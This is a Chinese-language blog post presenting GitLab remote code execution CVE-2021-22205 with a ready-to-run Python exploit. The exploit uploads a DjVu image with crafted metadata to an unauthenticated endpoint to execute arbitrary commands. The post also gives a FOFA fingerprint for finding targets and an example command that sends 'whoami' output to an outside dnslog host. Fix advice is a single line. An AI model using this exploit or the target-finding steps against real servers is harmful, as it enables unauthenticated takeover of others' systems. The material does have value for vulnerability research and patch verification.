Gitlab 远程命令执行RCE漏洞CVE-2021-22205附exp

0x01 漏洞介绍&原理

GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,是一款Ruby开发的Git项目管理平台。由于在11.9以后的GitLab中,使用了图片处理工具ExifTool,而此图片处理工具又受到了漏洞CVE-2021-22204的影响:

漏洞触发ExifTool功能处,ExifTool是用于从图像中移除元数据的开源工具,在解析上传图像中的元数据时,并没有完全解析某些元数据,导致攻击者上传带有恶意元数据的图片,从而导致远程命令执行。

攻击者可以通过一个存在未授权的接口,上传一张恶意构造的图片,进而导致该漏洞在无需进行身份验证的情况下即可进行RCE

0x02 影响版本

1
2
3
Gitlab CE/EE < 13.10.3
Gitlab CE/EE < 13.9.6
Gitlab CE/EE < 13.8.8

0x03 漏洞检测

主页

1
http://127.0.0.1/users/sign_in

image-20211031101923873

1
FOFA指纹:title="GitLab"

EXP代码贴最后,直接运行

1
python3 CVE-2021-22205.py -u http://12.0.0.1:8080 -c "curl \`whoami\`.7kwtfs.dnslog.cn"

我用的是DNSlog探测的,纯内网环境也可以反弹到自己的http服务测试

image-20211031134306084

0x04 修复建议

  • 升级至最新版本
  • 官方链接:
1
https://about.gitlab.com/update/

EXP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import sys
import requests
import argparse
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def title():
print('''
GitLab < 13.10.3 RCE
python3 CVE-2021-22205.py -u target_url -c command
''')

def exp(target_url,command):
session = requests.Session()
try:
req_token = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(req_token.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req_exp = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
if flag in req_exp.text:
print("{} 存在漏洞,CMD执行成功".format(target_url))
else:
print("{} 不存在漏洞".format(target_url))
except Exception as e:
print(e)

def format_url(url):
try:
if url[:4] != "http":
url = "https://" + url
url = url.strip()
return url
except Exception as e:
print('URL.error{0}'.format(url))

def run():
title()
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', type=str, help='url')
parser.add_argument('-c', '--command', type=str, help='cmd')
args = parser.parse_args()
target_url = args.url
command = args.command

if target_url != None and command != None:
exp(target_url,command)
else:
sys.exit(0)

if __name__ == '__main__':
run()